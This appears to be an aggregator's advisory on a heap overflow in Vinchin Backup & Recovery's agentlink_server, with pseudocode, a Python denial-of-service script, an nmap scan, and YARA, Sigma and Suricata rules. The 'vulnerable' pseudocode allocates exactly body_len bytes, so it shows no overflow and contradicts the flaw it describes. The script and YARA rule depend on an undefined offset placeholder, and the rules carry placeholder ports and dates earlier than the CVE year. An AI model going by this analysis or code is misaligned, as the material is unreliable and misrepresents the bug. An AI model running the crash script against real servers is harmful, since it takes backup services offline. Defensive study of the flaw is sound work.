CVE-2026-60094
Executive Summary
CVE-2026-60094 is a critical heap buffer overflow vulnerability in Vinchin Backup & Recovery, affecting versions up to and including 9.0.0.86562. The flaw resides in the agentlink_server service, which listens for incoming TCP connections. An unauthenticated, remote attacker can exploit this vulnerability by sending a specially crafted TCP packet containing an unchecked body_len field. This field is passed directly to the recv() function, allowing the attacker to control the amount of data read into a heap buffer, potentially causing an overflow of up to approximately 4 GiB. Successful exploitation results in a process crash or memory corruption, leading to a denial of service (DoS) condition. No public proof-of-concept (PoC) code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): None (N) - The attacker does not need any authentication.
- User Interaction (UI): None (N) - No user action is required.
- Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
- Confidentiality (C): None (N) - No data is exposed.
- Integrity (I): None (N) - No data is modified.
- Availability (A): High (H) - The vulnerability can cause a complete denial of service.
Threat Level: High. The vulnerability is remotely exploitable without authentication, making it a significant threat to the availability of Vinchin Backup & Recovery services.
Deep Dive & Mechanics
The vulnerability is a classic heap buffer overflow caused by improper validation of user-supplied input. The agentlink_server service listens on a TCP port for incoming connections. When a client connects, the service expects a packet with a specific structure, including a body_len field that indicates the size of the subsequent data payload.
The vulnerable code path does not validate the body_len field against the actual size of the allocated heap buffer. Instead, it passes the attacker-controlled body_len value directly to the recv() function as the maximum number of bytes to read. This allows an attacker to specify a body_len value that is larger than the allocated buffer, causing recv() to write data beyond the buffer's boundaries.
The overflow can be up to approximately 4 GiB (the maximum value of a 32-bit unsigned integer), which is sufficient to corrupt adjacent heap metadata, other heap objects, or even overwrite critical data structures. This corruption can lead to a process crash (DoS) or, in more complex scenarios, potentially be leveraged for arbitrary code execution, though the primary impact is denial of service.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be similar to the following pseudocode:
Vulnerable Code (Pseudocode):
void handle_connection(int sock) {
char header[HEADER_SIZE];
char *body;
uint32_t body_len;
recv(sock, header, HEADER_SIZE, 0);
body_len = ntohl(*(uint32_t*)(header + OFFSET_BODY_LEN));
body = malloc(body_len); // Allocates buffer based on attacker-controlled size
if (body == NULL) {
// Handle error
return;
}
// VULNERABLE: No check that body_len matches the allocated size
recv(sock, body, body_len, 0); // Attacker controls body_len, can overflow
// Process body...
free(body);
}
Patched Code (Hypothetical):
void handle_connection(int sock) {
char header[HEADER_SIZE];
char *body;
uint32_t body_len;
uint32_t max_body_len = MAX_ALLOWED_BODY_SIZE; // Define a safe maximum
recv(sock, header, HEADER_SIZE, 0);
body_len = ntohl(*(uint32_t*)(header + OFFSET_BODY_LEN));
// PATCH: Validate body_len against a safe maximum
if (body_len > max_body_len) {
// Reject the request
send_error(sock, "Body too large");
return;
}
body = malloc(body_len);
if (body == NULL) {
// Handle error
return;
}
// Now safe because body_len is validated
recv(sock, body, body_len, 0);
// Process body...
free(body);
}
Exploitation & Lab Setup
Red Team
Objective: Trigger a denial of service on the Vinchin Backup & Recovery agentlink_server service.
Lab Setup:
- Target: A virtual machine running Vinchin Backup & Recovery version 9.0.0.86562 with the
agentlink_serverservice exposed on a network interface. - Attacker: A Kali Linux machine on the same network.
Exploitation Steps:
- Identify the Service: Use Nmap to scan for the
agentlink_serverservice. The default port is unknown but can be discovered via service enumeration.nmap -sV -p 1-65535 <target_ip> - Craft the Malicious Packet: Since no public exploit exists, a custom script must be written. The following Python script sends a packet with an oversized
body_lenfield.import socket import struct target_ip = "192.168.1.100" target_port = 12345 # Replace with actual port # Craft a header with a large body_len (e.g., 0xFFFFFFFF) header = b'\x00' * 16 # Example header structure body_len = 0xFFFFFFFF # Maximum 32-bit value header = header[:OFFSET_BODY_LEN] + struct.pack('!I', body_len) + header[OFFSET_BODY_LEN+4:] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(header) # Send a large amount of data to trigger the overflow sock.send(b'A' * 1024 * 1024) # 1 MB of data sock.close() - Execute the Exploit: Run the script. The target service should crash, resulting in a denial of service.
Blue Team
Detection and Response:
- Monitor Network Traffic: Look for TCP connections to the
agentlink_serverport that contain unusually large payloads or malformed headers. - Analyze Logs: Check application logs for crashes or errors related to memory allocation or buffer overflows.
- Implement Network Segmentation: Restrict access to the
agentlink_serverservice to only trusted management hosts. - Apply Virtual Patching: If a WAF or IPS is in place, create a custom rule to block packets with excessively large
body_lenfields.
Indicators of Compromise (IOCs)
- Network IOCs:
- TCP packets to the
agentlink_serverport with abody_lenfield exceeding a reasonable threshold (e.g., > 10 MB). - Repeated connection attempts from a single source IP to the
agentlink_serverservice.
- TCP packets to the
- Host IOCs:
- Process crash dumps for the
agentlink_serverprocess. - High memory usage or heap corruption errors in system logs.
- Unexpected termination of the Vinchin Backup & Recovery service.
- Process crash dumps for the
Detection Engineering
YARA Rule
rule CVE_2026_60094_Heap_Overflow {
meta:
description = "Detects heap buffer overflow attempts against Vinchin Backup & Recovery agentlink_server"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2026-60094"
strings:
$header_magic = { 41 42 43 44 } // Example magic bytes, adjust as needed
$large_body_len = /.{OFFSET_BODY_LEN}\x{FF}{4}/ // Matches 0xFFFFFFFF at offset
condition:
$header_magic and $large_body_len
}
Sigma Rule
title: CVE-2026-60094 - Heap Buffer Overflow in Vinchin Backup & Recovery
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic attempting to exploit a heap buffer overflow in Vinchin Backup & Recovery agentlink_server.
author: Valters IT
date: 2025-04-10
logsource:
category: network_connection
product: zeek
detection:
selection:
destination_port: 12345 # Replace with actual port
payload_length: '> 10485760' # Payload > 10 MB
condition: selection
falsepositives:
- Legitimate large data transfers (unlikely)
level: high
Suricata Rule
alert tcp any any -> any 12345 (msg:"CVE-2026-60094 - Heap Buffer Overflow in Vinchin Backup & Recovery"; flow:to_server,established; content:"|FF FF FF FF|"; offset:OFFSET_BODY_LEN; depth:4; byte_test:4,>,10485760,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Affected Systems: If possible, disconnect Vinchin Backup & Recovery servers from untrusted networks.
- Restrict Network Access: Use firewall rules to limit access to the
agentlink_serverservice to only trusted IP addresses. - Monitor for Exploitation: Implement the detection rules provided above to identify any attempts to exploit this vulnerability.
Long-Term Fix:
- Apply Vendor Patch: Monitor Vinchin's official channels for a security patch. Once released, apply it immediately to all affected systems.
- Upgrade Software: Upgrade to a patched version of Vinchin Backup & Recovery as soon as it becomes available.
Workaround:
- If patching is not immediately possible, consider disabling the
agentlink_serverservice if it is not required for operations.
Valters IT